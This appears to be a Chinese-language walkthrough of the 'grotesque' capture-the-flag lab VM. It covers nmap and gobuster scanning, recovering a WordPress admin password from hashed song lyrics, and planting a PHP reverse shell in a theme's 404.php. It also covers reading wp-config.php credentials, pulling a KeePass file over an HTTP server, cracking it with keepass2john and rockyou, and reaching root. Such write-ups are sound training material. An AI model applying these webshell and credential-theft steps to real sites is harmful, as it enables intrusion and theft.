格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机grotesque和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了66和80端口,而主页并没有东西:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.108 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现只有/javascript,也无法直接查看:

1
gobuster dir -u http://192.168.56.108/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

端口指向发现

1.访问一下192.168.56.108:66页面,vvmlist.github.io,页面提示我们去下载这个项目,而在源码我们发现了一组很像brainfuck编码的注释:

image-

2.brainfuck解码出来指向/sshpasswd.png,同时我们下载下vvmlist这个项目,解压后很快就能发现这张图片:

image-

image-

3.利用多种工具分析sshpasswd.png没有分析出来,但靶机也没有开放22端口无法ssh登录,所以转向查看vvmlist中的其他文件,按照操作时间,我们可以发现80端口真正的指向,而且很可能是使用wordpress搭建的:

1
cat _vvmlist/* | sort | uniq

image-

image-

Wordpress后台登录

1.访问192.168.56.108/lyricsblog,查看源码,我们会发现一张图片地址,查看图片,没有太多线索:

image-

image-

2.前面提到了这个页面是wordpress搭建的,我们使用wpscan扫描一下,也没有太多发现:

1
wpscan --url http://grotesqueip/lyricsblog -e ap,cb,dbe,u1-999 --plugins-detection aggressive --plugins-version-detection aggressive

image-

3.说句实话,思路到这里就断掉了,后来通过维基,发现/lyricsblog页都是歌曲的歌词,然后yesman.png又提示他喜欢听hakan-tasiyan-doktor,我们尝试把这首歌的歌词全部获取下来md5然后大写一下,发现就是可以登录wordpress后台的密码,用户名是erdalkomurcu,页面有显示:

1
2
vim doctor-lyrics.txt,写入歌词
md5sum doctor-lyrics.txt

image-

image-

4.访问192.168.56.108/lyricsblog/wp-admin,提示密码要大写,我们登录看看:

image-

image-

Wordpress后台写入webshell,准备提权

1.在wordpress后台Appearance页Theme Editor,在404.php(my favorite)内粘贴kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,并在kali开启对应端口监听,通过访问
http://192.168.56.108/lyricsblog/index.php/author/erdalkomurcu/1触发webshell:

image-

image-

2.通过查看/var/www/html/lyricsblog/wp-config.php,能够得到raphael用户及密码,登录一下试试:

image-

image-

3.用python建立一个交互式shell,可以发现user.txt是一串类似md5值,但是解不出来;在发现有一个.kdbx文件,应该是root的密钥库文件,获取到kali:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

1
python3 -m http.server 8001

image-

image-

4.对.chadroot.kdbx使用keepass2john进行解密,这里要用到rockyou.txt,下载地址为https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt:

image-

image-

root提权

1.获取到密码,利用app.keeweb.info,上传chadroot.kdbx,可以获得root密码:

image-

2.在/root页下获得flag,即root.txt:

image-